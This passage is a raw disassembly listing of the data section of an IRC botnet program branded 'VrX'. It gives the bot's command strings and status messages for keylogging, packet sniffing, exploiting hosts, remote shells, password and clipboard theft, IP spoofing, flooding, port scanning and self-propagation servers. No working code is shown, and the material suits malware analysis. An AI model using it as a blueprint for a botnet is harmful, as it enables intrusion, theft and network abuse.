align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo ; sub_409909+5F0o align 4 unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo align 4 unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo align 4 unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o ; sub_401ACD+443Do ... align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo align 4 aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o align 10h dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o aNoThreadFound_ db '- No thread found.',0 align 10h dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o aAlreadyRunning db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o align 10h unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoVrxSnifferTh db '- No VrX sniffer thread found.',0 unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0 unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4271o db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxPacketSniff db '- VrX packet sniffer active.',0 align 10h unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo aAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao ; sub_401ACD+41EAo ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo aV: ; DATA XREF: sub_401ACD+3FE4o ; ___:004387BCo ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o ; sub_401ACD+453Fo align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o align 10h aO: ; DATA XREF: sub_401ACD+3E74o ; ___:00438AECo unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do ; sub_401ACD+583Ao ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o align 4 aJ: ; DATA XREF: sub_401ACD+3D32o unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D04o ; ___:004387C4o ... unicode 0, <n>,0 unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do align 10h aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o align 10h aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do dword_42B7E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AB7o ; sub_401ACD+3AF2o dd 0 dword_42B7FC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3A7Co dd 1 dword_42B814 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A41o ; sub_401ACD+3B62o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo align 10h aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o ; sub_401ACD+3991o ... align 10h aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o ; sub_401ACD+3CEDo align 4 dword_42B85C dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+369Ao dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B884 dd 636364h ; DATA XREF: sub_401ACD+361Do dword_42B888 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o dword_42B894 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo ; sub_401ACD+3712o ... dword_42B89C dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o ; sub_40AAAC+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o ; sub_401ACD+3520o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o ; sub_401ACD+3D49o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o ; sub_401ACD+34F4o ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o ; sub_401ACD+3D1Bo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o align 10h aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o ; sub_401ACD+47C9o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo align 4 dword_42B90C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32A4o dword_42B920 dd 7463h ; DATA XREF: sub_401ACD+3255o dword_42B924 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao ; sub_401ACD+385Co ... dword_42B934 dd 5Fh ; DATA XREF: sub_401ACD+320Bo ; sub_401ACD+3275o ... dword_42B938 dd 6D70h ; DATA XREF: sub_401ACD+31EBo ; sub_401ACD+4756o unk_42B93C db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo db 3, 34h, 2 db 56h ; V db 72h, 58h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o align 10h aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co align 10h aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B9E4 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o align 4 unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o ; sub_401ACD+3F71o unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0 align 10h unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0 align 4 dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-' db 'Hackers.com).',0 dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BBB8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2D8Eo dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o align 4 unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BC94 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o dword_42BCCC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo dword_42BCE8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o ; sub_401ACD:loc_409570o ... align 4 unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o a81VrxDisconnec db '8,1-VrX- Disconnecting.',0 align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo ; sub_401ACD+78C1o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo align 4 unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0 align 4 unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0 align 4 unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BDF8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+2917o dd 65726874h, 2E736461h, 0 dword_42BE18 dd 627573h ; DATA XREF: sub_401ACD+28F1o unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo a81VrxAliasList db '8,1-VrX- Alias list.',0 align 4 unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0 dword_42BE6C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2815o dd 2E676Fh unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do a81VrxNetworkIn db '8,1-VrX- Network Info.',0 unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo a81VrxSystemInf db '8,1-VrX- System Info.',0 align 4 unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o a81VrxRemovingB db '8,1-VrX- Removing Bot.',0 unk_42BECC db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BF08 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+2658o dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o align 4 unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 4 unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0 align 4 unk_42BF64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0 align 4 dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+2456o dd 2Dh unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42C05C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C114 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C150 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C18C db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo ; sub_40BD91+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o ; sub_40BD91+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o db 3, 34h, 2 db 4Dh ; M db 61h, 2 dup(53h) db 20h db 53h, 63h, 41h db 6Eh ; n db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start scan, port is invalid.',0 unk_42C290 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o ; sub_401ACD+5B20o align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o ; sub_401ACD+5B19o align 4 dword_42C34C dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 align 4 unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0 unk_42C3C4 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1BC8o aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o align 4 aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co align 10h aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o a81VrxCrashingB db '8,1-VrX- Crashing bot.',0 aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o ; sub_401ACD+1B71o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo align 10h aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o align 10h aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o align 10h aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo unk_42C4EC db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o ; sub_401ACD+3C81o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo align 10h unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo a81VrxLoginList db '8,1-VrX- Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+1902o dword_42C564 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo dword_42C574 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do 